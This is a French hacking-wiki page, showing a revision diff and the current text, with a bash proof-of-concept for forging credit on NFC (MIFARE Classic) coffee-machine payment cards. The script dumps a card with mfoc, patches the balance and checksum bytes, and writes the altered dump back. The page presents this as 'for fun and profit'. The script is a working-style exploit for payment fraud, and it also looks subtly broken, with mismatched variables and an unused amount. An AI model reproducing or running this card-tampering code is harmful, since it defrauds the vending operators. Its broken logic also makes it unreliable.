« NFC Coffee POC » : différence entre les versions
Aller à la navigation
Aller à la recherche
Aucun résumé des modifications |
|||
Ligne 11 : | Ligne 11 : | ||
#!/bin/bash | #!/bin/bash | ||
#Script by Korigan for http://hackbbs.org | |||
#Contact: irc.hackbbs.org,6697,#HackBBS | |||
echo "Dump de la carte..." | echo "Dump de la carte..." | ||
mfoc -P 500 -O dumpNFC.dmp | mfoc -P 500 -O dumpNFC.dmp | ||
Ligne 29 : | Ligne 28 : | ||
CC=${AABB:2:2} | CC=${AABB:2:2} | ||
if [ [ $BB -eq "55" ] ] then | if [ [ $BB -eq "55" ] ] then | ||
AAAAAAA=" | AAAAAAA="0000090" | ||
else | else | ||
AAAAAAA=" | AAAAAAA="0000080" | ||
fi | fi | ||
read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount | read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount | ||
amount=`printf '%x' $amount` | amount=`printf '%x' $amount` | ||
DD=${AABB:${#AABB}-2} | DD=${AABB:${#AABB}-2} #On calcul les centimes | ||
EE=$((AABB-DD)) | EE=$((AABB-DD)) #on calcul les unités | ||
FF=$((DD+EE)) | FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs | ||
echo "Patch du dump..." | |||
echo "$AAAAAAA: 00$DD $EE$FF" | xxd -r - 16 | |||
echo "On charge le nouveau dump sur la carte..." | echo "On charge le nouveau dump sur la carte..." | ||
nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp | nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp | ||
echo "Done :)" |
Version du 10 septembre 2013 à 16:01
Hack NFC Coffeemaker for fun and profit
Processus
- On dump une carte existante
- On repère les informations qui nous intéressent
- On altère le dump
- On charge le dump altéré sur la carte
Bash POC
Se référer aux Opérations de base sur le NFC pour plus de précisions.
#!/bin/bash #Script by Korigan for http://hackbbs.org #Contact: irc.hackbbs.org,6697,#HackBBS echo "Dump de la carte..." mfoc -P 500 -O dumpNFC.dmp echo "Voici ce que nous recherchons:" echo "AAAAAAA 00DD EEFF 0000 0000 0000 0000 0000 00CC echo "00000A0 BBCC 0000 0000 0000 0000 0000 0000 0000" echo "Si BB==0x55 alors AAAAAAA==0000090 sinon AAAAAAA==0000080" echo "CC est un compteur du nombre de transactions réalisées" echo "DD représente les centimes en hexa" echo "EE représente les euro en hexa" echo "FF est la somme en hexa de DD+EE" BBCC=xxd -s +160 dumpNFC.dmp | head -n 1 | cut -d' ' -f2 BB=${AABB:0:2} CC=${AABB:2:2} if [ [ $BB -eq "55" ] ] then AAAAAAA="0000090" else AAAAAAA="0000080" fi read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount amount=`printf '%x' $amount` DD=${AABB:${#AABB}-2} #On calcul les centimes EE=$((AABB-DD)) #on calcul les unités FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs echo "Patch du dump..." echo "$AAAAAAA: 00$DD $EE$FF" | xxd -r - 16 echo "On charge le nouveau dump sur la carte..." nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp echo "Done :)"